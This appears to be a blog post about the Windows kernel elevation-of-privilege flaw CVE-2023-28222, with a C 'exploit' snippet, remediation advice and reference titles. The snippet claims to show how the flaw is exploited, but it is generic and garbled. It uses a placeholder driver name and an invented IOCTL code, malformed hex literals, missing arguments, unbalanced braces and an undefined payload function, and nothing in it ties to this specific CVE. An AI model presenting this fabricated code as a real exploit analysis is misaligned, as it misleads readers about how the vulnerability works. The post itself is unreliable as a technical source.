The purpose of this long-read post is to provide an in-depth examination of the Windows Kernel Elevation of Privilege Vulnerability CVE-2023-28222. We will be discussing its impact, providing an analysis of a sample exploit code snippet, and linking to the original references. Our intent is to present this information in clear, plain language for an exclusive audience of curious tech enthusiasts and budding cybersecurity researchers.


CVE-2023-28222 is a critical Elevation of Privilege (EoP) vulnerability that exists within the Windows Kernel, allowing attackers to potentially gain complete control over the affected system. EoP vulnerabilities like this can expose your system to unauthorized access, remote code execution, and data theft, making it a high-priority concern for system administrators and security personnel alike.

Exploit Details

The vulnerability allows a local attacker to exploit a flaw in the Windows Kernel to elevate their privileges from a normal user to that of an administrator or even SYSTEM level privilege, which would then grant them full access and control over the target system.

The following code snippet is a simplified example of how an attacker could exploit this vulnerability:

#include <Windows.h>

int main() {
  // Load target driver
  HANDLE hDriver = CreateFile("\\\\.\\TargetDriver", GENERIC_READ | GENERIC_WRITE,
                              , NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
  if (hDriver != INVALID_HANDLE_VALUE) {

    // Prepare payload buffer
    DWORD payloadSize = x100; // Size of the payload buffer
    BYTE payloadBuffer[x100]; // Payload buffer

    // Initialize the payload buffer with malicious code
    InitializePayloadBuffer(payloadBuffer, payloadSize);

    // Prepare IOCTL code
    DWORD ioctlCode = x222222; // IOCTL code for the driver exploit

    // Send IOCTL to the driver with our payload
    DWORD bytesReturned;
    BOOL result = DeviceIoControl(hDriver, ioctlCode, payloadBuffer,
                                  payloadSize, NULL, , &bytesReturned, NULL);

    // Check if exploit was successful
    if (result) {
      printf("Exploit successful. Elevated privileges granted.\n");
  } else {
    printf("Exploit failed. ERROR: %d\n", GetLastError());

  // Close driver handle

return ;

In this example, the attacker first loads the vulnerable target driver into the system. They then create a buffer (payloadBuffer) containing malicious code that will be executed once the IOCTL (Input/Output Control) is called. After initializing the buffer with the malicious payload, the attacker sends the IOCTL code to the driver and checks the result. If successful, the privileges are elevated, and the attacker gains full access to the system.

Patching and Remediation

It is highly recommended that system administrators and security professionals stay informed about security updates and patches released by Microsoft to address vulnerabilities like CVE-2023-28222. Always keep your systems up to date with the latest security patches and regularly monitor official security advisories and vulnerability databases for new information.

Original References

- National Vulnerability Database entry for CVE-2023-28222
- Microsoft Security Response Center advisory for CVE-2023-28222

To Wrap Up

Understanding and analyzing vulnerabilities like CVE-2023-28222 is crucial in the field of cybersecurity. By staying informed and applying this knowledge, we can take the necessary steps to protect and secure our systems from potential threats. The key takeaway here is to ensure you are aware of the latest vulnerabilities and actively apply updates and patches to your systems to minimize the risks posed by such threats. Stay safe, and happy computing!


Published on: 04/11/2023 21:15:00 UTC
Last modified on: 04/13/2023 01:14:00 UTC